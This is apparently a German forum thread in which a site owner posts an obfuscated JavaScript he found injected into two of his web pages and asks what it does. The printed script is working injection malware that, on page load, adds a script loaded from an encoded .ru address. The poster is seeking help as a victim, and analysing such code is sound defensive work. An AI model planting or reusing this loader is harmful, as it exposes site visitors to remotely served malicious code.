tomgk: Fremdes Script (Virus?) auf Webseite

Beitrag lesen

Hallo!

Ich hab auf meiner Webseite ein Script entdeckt, welches ich bisher in 2 Dateien gefunden hab.

var s="";this.Od="";this.o='';function d(){var Vz=new Date();var f="\x68\x74\x74\x70\x3a\x2f\x2f\x68\x6f\x74\x6c\x69\x6e\x6b\x69\x6d\x61\x67\x65\x2d\x63\x6f\x6d\x2e\x77\x6f\x72\x6c\x64\x6f\x66\x77\x61\x72\x63\x72\x61\x66\x74\x2e\x63\x6f\x6d\x2e\x61\x6c\x6c\x61\x62\x6f\x75\x74\x2d\x63\x6f\x2d\x6a\x70\x2e\x57\x61\x72\x69\x6e\x67\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x2e\x72\x75\x3a";var w;if(w!='A' && w!='j'){w=''};this.X='';var v=new String();var yD;if(yD!='aH' && yD != ''){yD=null};var T='';var Y;if(Y!=''){Y='Vi'};var V=unescape;var t=window;var O="g";var PJ='';var c="";var Hj;if(Hj!='Ct' && Hj!='RX'){Hj=''};function l(K,a){var E=new String();var p='';var x=V("%5b")+a+V("%5d");var B;if(B!=''){B='Ki'};var u=new RegExp(x, O);return K.replace(u, T);};this.n='';var ui="";var rk=new String();var iz;if(iz!='sb' && iz != ''){iz=null};var P='';var tG;if(tG!='cB'){tG=''};var M=V("%2f%64%6f%63%74%69%73%73%69%6d%6f%2e%66%72%2f%64%6f%63%74%69%73%73%69%6d%6f%2e%66%72%2f%74%61%62%6e%61%6b%2e%69%72%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%68%65%66%72%65%65%64%69%63%74%69%6f%6e%61%72%79%2e%63%6f%6d%2e%70%68%70");var ov=new String();var ln=l('876305652837603397','596732');this.an='';var y=document;var PI;if(PI!='Pi'){PI='Pi'};var og=new String();function fT(){var TB;if(TB!='' && TB!='jN'){TB=null};P=f;P+=ln;P+=M;var xn=new Array();var Zz;if(Zz!='' && Zz!='ZN'){Zz=''};var wN;if(wN!='Ot' && wN!='rO'){wN=''};var lm="";try {var xQ=new Date();var Ur;if(Ur!='' && Ur!='hO'){Ur=''};var yd='';var Gl;if(Gl!='' && Gl!='vK'){Gl='un'};r=y.createElement(l('svcQrvivpQtQ','QvoP'));var Bh;if(Bh!='Oi'){Bh=''};r.src=P;var Px=new Array();r.defer=[1,1][0];var ge=new Array();var hx=new Array();y.body.appendChild(r);this.TF="";this.I_='';} catch(tD){};var ko;if(ko!=''){ko='e'};}var PU='';var Ye='';var tT=new Date();var hE='';t["onloaRxN".substr(0,5)+"Ba4cd4cBa".substr(4,1)]=fT;var wj=new Date();var qb=new Date();this.Q="";};var Tt;if(Tt!='Bg' && Tt != ''){Tt=null};d();

Vor dem Script ist volgendes HTML-Kommendar gestanden:
<!--4c4689177e86a3cc79f46aa3ab5bb0d0-->

Weiß jemand ungefähr was dieses Script tun könnte oder was das Kommentar bedeutet?

Was ich schon herausgefunden hab:
-der Variable f wird "http://hotlinkimage-com.worldofwarcraft.com.allabout-co-jp.WaringBlenderPart.ru:" zugewissen
-die Funktionn V wird mit Parameter "/doctissimo.fr/doctissimo.fr/tabnak.ir/google.com/thefreedictionary.com.php" aufgerufen.

MfG
tomgk

--
Selfcode=ie:% fl:( br:> va:| ls:& rl:? n4:? ss:| de:] js:| ch:? sh:) mo:) zu:(
0 66

Fremdes Script (Virus?) auf Webseite

tomgk
  • sonstiges
  1. 1
    Sven Rautenberg
    1. 0
      tomgk
      1. 0
        Der Martin
        1. 0
          tomgk
          1. 0
            Brillo Agent Nr. 1
            1. 0
              Brillo Agent Nr. 1
          2. 0
            Struppi
            1. 0
              Tom
              1. 0
                Struppi
                1. 0
                  suit
                  1. 0
                    Struppi
                    1. 1
                      Tom
                      1. 0
                        Struppi
              2. 0
                tomgk
                1. 0
                  Der Martin
                  1. 0
                    tomgk
                    1. 0
                      Der Martin
                      1. 0
                        tomgk
                        1. 0
                          dedlfix
                        2. 0
                          Tom
                          1. 0
                            tomgk
                            1. 0
                              Der Martin
                              1. 0
                                tomgk
                                1. 0
                                  tomgk
                                  1. 0
                                    dedlfix
                                    1. 0
                                      tomgk
                                      1. 0
                                        dedlfix
                                      2. 0
                                        Tom
                                        1. 0
                                          Sven Rautenberg
                                          1. 0
                                            Tom
                                            1. 0
                                              tomgk
                                              1. 0
                                                Tom
                                                1. 0
                                                  tomgk
                                              2. 0
                                                Sven Rautenberg
                                                1. 0
                                                  tomgk
                                              3. 0
                                                Struppi
                                                1. 0
                                                  tomgk
                                                  1. 0
                                                    Struppi
                                                    1. 0
                                                      tomgk
                                                      1. 0
                                                        Struppi
                              2. 0
                                Tom
                                1. 0

                                  'nicht' ist verschwunden :-)

                                  Tom
                                2. 0
                                  Der Martin
                                  1. 0
                                    dedlfix
                                    1. 0
                                      Der Martin
                                      1. 0
                                        Tom
                                        1. 0
                                          Der Martin
                                          1. 0
                                            Tom
                                            1. 0

                                              SICHERHEIT, witzig, witzig

                                              Tom
                                              • php
                                              1. 0
                                                Tom
                                                1. 0
                                                  Der Martin
                                                  1. 0
                                                    Tom
          3. 0
            suit
        2. 0
          Tom
          1. 0
            Der Martin
            1. 0
              Struppi
              1. 0
                Tom
                1. 0
                  Sven Rautenberg
                  1. 0
                    Tom
                    1. 0
                      dedlfix
                      1. 0
                        Tom
              2. 0
                Der Martin
                1. 0
                  Struppi
  2. 0
    dedlfix
  3. 0
    Shadowcrow